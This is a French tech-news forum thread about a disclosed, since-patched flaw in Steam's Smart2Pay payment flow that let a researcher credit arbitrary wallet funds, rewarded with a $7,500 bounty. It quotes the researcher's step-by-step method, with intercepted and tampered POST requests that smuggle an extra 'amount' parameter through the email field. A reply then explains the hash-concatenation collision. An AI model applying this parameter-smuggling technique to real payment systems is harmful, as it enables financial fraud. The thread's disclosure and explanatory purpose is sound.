IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

  1. #1
    Chroniqueur Actualités

    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    mars 2013
    Messages
    6 311
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Administrateur de base de données

    Informations forums :
    Inscription : mars 2013
    Messages : 6 311
    Points : 154 514
    Points
    154 514
    Par défaut Un hacker signale une faille qui lui a permis d'ajouter des fonds illimités à son portefeuille Steam
    Un hacker signale une faille qui lui a permis d'ajouter des fonds illimités à son portefeuille Steam
    et reçoit une prime de 7 500 $ US

    Un hacker ingénieux a découvert un exploit étonnant qui lui a permis de générer un montant illimité de fonds pour son portefeuille Steam sans en payer le prix fort. La manipulation du processus de paiement de Steam s'est avérée assez simple. Dans son billet sur Hacker One, le chercheur en sécurité a expliqué qu'il lui suffisait d'une adresse e-mail spécifique qui devait être enregistrée avec le compte Steam.

    Pour faire simple, l'adresse e-mail n'avait besoin que d'inclure le terme « montant5000 ». Le nombre après le mot « montant » indique le montant d'argent qui serait déposé dans le portefeuille du compte Steam respectif. Une fois l'adresse e-mail enregistrée, un petit paiement de 1 USD a dû être effectué pour recevoir le montant des fonds spécifié à l'adresse e-mail. En somme, en passant par cette méthode, il était possible d’intercepter les paiements réalisés par le biais de Smart2Pay et de les augmenter de manière artificielle. Le hacker n'a exécuté avec succès ce processus que pour prouver son élaboration théorique.

    L'exploit aurait fonctionné avec des méthodes de paiement utilisant le système smart2pay. Inutile de dire que Valve a depuis corrigé la faille de sécurité critique et a exprimé sa gratitude envers le hacker en lui donnant une prime de 7 500 $ US. Cette histoire rappelle qu'un comportement honnête peut porter ses fruits, même en ligne. Après tout, le hacker aurait pu décider d'acheter des milliers de clés de jeu avec ses fonds de portefeuille Steam presque gratuits.

    Si Valve a depuis résolu le problème et espère que les utilisateurs continueront d’apporter leur aide à l’avenir, aucune communication n’a été faite quant à l’exploitation de cette faille et nous ne savons pas si cette dernière a effectivement été utilisée par les hackers.

    Nom : steam.png
Affichages : 21308
Taille : 7,7 Ko

    Rapport du hacker

    « J'ai trouvé une vulnérabilité qui permet à l'attaquant de générer un solde de portefeuille Steam. »

    « Tout d'abord, vous devrez changer l'adresse e-mail de votre compte Steam en quelque chose comme (j'expliquerai pourquoi dans les prochaines étapes, le montant100 est la partie importante) : brixamount100abc@█████ »

    « Ensuite, allez sur https://store.steampowered.com/steamaccount/addfunds et cliquez sur ajouter des fonds. »

    « Procédez au paiement et sélectionnez n'importe quel paiement qui utilise le mode de paiement Smart2Pay (przelewy24 dans mon pays). »

    « Cliquez sur les étapes suivantes comme vous le feriez avec une transaction normale. »

    « Interceptez la demande POST à https://globalapi.smart2pay.com/ »

    « Vous devriez voir une demande comme ça »

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    POST / HTTP/1.1
    Host: globalapi.smart2pay.com
    Content-Length: 388
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
    Sec-Ch-Ua-Mobile: ?0
    Upgrade-Insecure-Requests: 1
    Origin: https://store.steampowered.com
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://store.steampowered.com/
    Accept-Encoding: gzip, deflate
    Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    
    MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
    « Nous ne pouvons pas modifier les paramètres, car il existe un champ de hachage avec signature, mais la signature est générée comme ce hachage (ALL_FIELDS_NAMES_VALUES_CONTACTED) »

    « Pour cette requête, cela ressemblera à ceci : hash(MerchantID1102MerchantTransactionID█████Amount2000.....) »

    « Ainsi, avec notre e-mail spécial, nous pouvons déplacer les paramètres d'une manière qui changera le montant pour nous »

    « Par exemple, nous pouvons changer le montant d'origine Amount=2000 en Amount2=000 et après l'avoir contacté, il sera toujours Amount2000 »

    « Ensuite, nous pouvons changer l'e-mail de CustomerEmail=brixamount100abc%40████ en CustomerEmail=brix&amount=100&ab=c%40█████████ par ceci nous ajoutons un nouveau montant de champ avec notre valeur. La nouvelle requête devrait ressembler à ça : »

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    POST / HTTP/1.1
    Host: globalapi.smart2pay.com
    Content-Length: 388
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
    Sec-Ch-Ua-Mobile: ?0
    Upgrade-Insecure-Requests: 1
    Origin: https://store.steampowered.com
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://store.steampowered.com/
    Accept-Encoding: gzip, deflate
    Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    
    MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████
    « Ensuite, payez simplement 1 $ et vous devriez obtenir votre argent sur steam wallet en quelques heures/jours. Voici quelques transactions effectuées avec cette méthode :
    2███████3
    2████9 »

    « Je pense que l'impact est assez évident, l'attaquant peut générer de l'argent et briser le marché de Steam, vendre des clés de jeu à bas prix, etc. »

    Source : Hacker One
    Contribuez au club : Corrections, suggestions, critiques, ... : Contactez le service news et Rédigez des actualités

  2. #2
    Membre confirmé
    Homme Profil pro
    Consultant informatique
    Inscrit en
    octobre 2005
    Messages
    244
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 34
    Localisation : Philippines

    Informations professionnelles :
    Activité : Consultant informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : octobre 2005
    Messages : 244
    Points : 609
    Points
    609
    Par défaut
    Juste pour un peu plus d'info sur le hack, car la présentation dans l'article initial ne me semble pas tout à fait claire et le hack est plutôt brillant :

    La validité de la transaction est confirmée par le hash. Mais la façon dont le hash est calculé est mauvaise :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
      hash(QueryParams) = hash (concatenation chaque clé + valeur)
      # par exemple:
      hash("a=b&c=d")  = hash("abcd")
    
      # du coup on peut bypasser la signature de cette maniere:
      # 2 hash egaux mais l'action est differente.
      hash("param1=1&email=emailamount100blabla@somewhere.com&amount=10") == hash("param1=1&email=email&amount=100&blabla=somewhere.comamount&10")
    
      # le serveur verra dans le 1er cas (légitime):
      {
        param1: "1",
        email: "emailamount100blabla@somewhere.com",
        amount: 10
      }
    
      #et dans le cas où le montant reçu n'est pas égal au montant payé:
      {
        param1: "1",
        email: "email"
        amount: 100, # < 90% de discount :P
        blabla: "somewhere.comamount" # < ignoré par le serveur
        10: true # ignoré par le serveur
      }

Discussions similaires

  1. Réponses: 7
    Dernier message: 18/08/2021, 21h06
  2. Réponses: 3
    Dernier message: 27/07/2021, 11h33
  3. Réponses: 4
    Dernier message: 29/08/2018, 10h28
  4. Réponses: 2
    Dernier message: 26/07/2006, 14h40

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo